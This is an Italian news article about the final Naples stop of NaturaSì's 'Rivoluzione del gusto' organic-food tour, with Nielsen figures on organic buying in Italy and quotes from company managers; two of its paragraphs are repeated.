martedì, 28 Novembre , 23

A Napoli ultima tappa “Rivoluzione del gusto”: il bio in piazza

A Napoli la decima e ultima tappa per il bio van di NaturaSì. Il marchio dei negozi biologici è nella città partenopea dal 12 al 14 luglio, sia in piazza Vanvitelli che in via Partenope, per parlare di futuro dell’agricoltura e di giovani. Il tour del biologico ha diffuso, a bordo di un Volkswagen anni ’70, la Rivoluzione del gusto portandola in dieci piazze dove si sono incontrati agricoltori esperti, negozianti, appassionati e curiosi del bio per scoprire i progetti della filiera Ecor a tutela di una sana agricoltura. Tra degustazioni gratuite di prodotti artigianali e locali, i cittadini hanno conosciuto le aziende biologiche e biodinamiche fornitrici di NaturaSì, impegnate a produrre cibo di qualità, preservando la salute della terra e dell’ambiente. “Dal 7 maggio ad ora il tour ha coinvolto quasi 100 negozi NaturaSì in dieci diverse piazze italiane da Milano a Napoli passando anche per Firenze e Roma, percorrendo 6.300 chilometri – ha dichiarato Nicola Dal Forno, Marketing manager NaturaSì -. Abbiamo distribuito 1.650 litri di succo di mela e zenzero e 35mila mappe con buoni sconto. Il nostro barman Marco Dalboni ha creato 5mila estratti con frutti di stagione, verdure e spezie e 4.500 macedonie con yogurt biodinamico”. In ognuna delle dieci tappe è stato affrontato un tema diverso: sapore, stagionalità, filiera, biologico, ma anche etica, sapere, benessere, natura e prezzo. L’ultima tappa, quella partenopea, è dedicata al futuro dell’agricoltura e alle nuove generazioni.

Sono sempre più le persone che si avvicinano al biologico che, anche negli anni della crisi economica, è cresciuto tanto da consolidarsi tra le abitudini di acquisto degli italiani. Secondo i dati Nielsen rilasciati a giugno, i prodotti biologici entrano ogni settimana nel carrello di 6,5 milioni di italiani: solo nell’ultimo anno 1,3 milioni di famiglie in più sono diventate consumatrici abituali. Sono 21,8 milioni le famiglie che acquistano, saltuariamente, prodotti biologici, l’88% del totale.

“C’è sempre una maggiore attenzione alla qualità, alla salvaguardia del pianeta, alle energie rinnovabili e all’alimentazione sana – ha dichiarato il direttore generale di NaturaSì Roberto Zanoni -. E’ un fenomeno mondiale. Temi come l’inquinamento delle terre e il riscaldamento globale stanno diventando preoccupazioni molto sentite”. La sicurezza rimane il motivo centrale che spinge all’acquisito di prodotti bio. Secondo Nielsen, 76 consumatori su 100 affidano al biologico le loro istanze in materia di salute, oltre a ritenere influenti fattori come la qualità, la sostenibilità e il rispetto dell’ambiente. “Di fronte alla chiusura di 1,5 milioni di aziende tradizionali, inoltre, si registra un fenomeno nuovo e positivo che interessa specificamente il biologico: i giovani stanno facendo la loro parte tornando a lavorare la terra”, ha concluso Zanoni.

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Sono sempre più le persone che si avvicinano al biologico che, anche negli anni della crisi economica, è cresciuto tanto da consolidarsi tra le abitudini di acquisto degli italiani. Secondo i dati Nielsen rilasciati a giugno, i prodotti biologici entrano ogni settimana nel carrello di 6,5 milioni di italiani: solo nell’ultimo anno 1,3 milioni di famiglie in più sono diventate consumatrici abituali. Sono 21,8 milioni le famiglie che acquistano, saltuariamente, prodotti biologici, l’88% del totale.

“C’è sempre una maggiore attenzione alla qualità, alla salvaguardia del pianeta, alle energie rinnovabili e all’alimentazione sana – ha dichiarato il direttore generale di NaturaSì Roberto Zanoni -. E’ un fenomeno mondiale. Temi come l’inquinamento delle terre e il riscaldamento globale stanno diventando preoccupazioni molto sentite”. La sicurezza rimane il motivo centrale che spinge all’acquisito di prodotti bio. Secondo Nielsen, 76 consumatori su 100 affidano al biologico le loro istanze in materia di salute, oltre a ritenere influenti fattori come la qualità, la sostenibilità e il rispetto dell’ambiente. “Di fronte alla chiusura di 1,5 milioni di aziende tradizionali, inoltre, si registra un fenomeno nuovo e positivo che interessa specificamente il biologico: i giovani stanno facendo la loro parte tornando a lavorare la terra”, ha concluso Zanoni.

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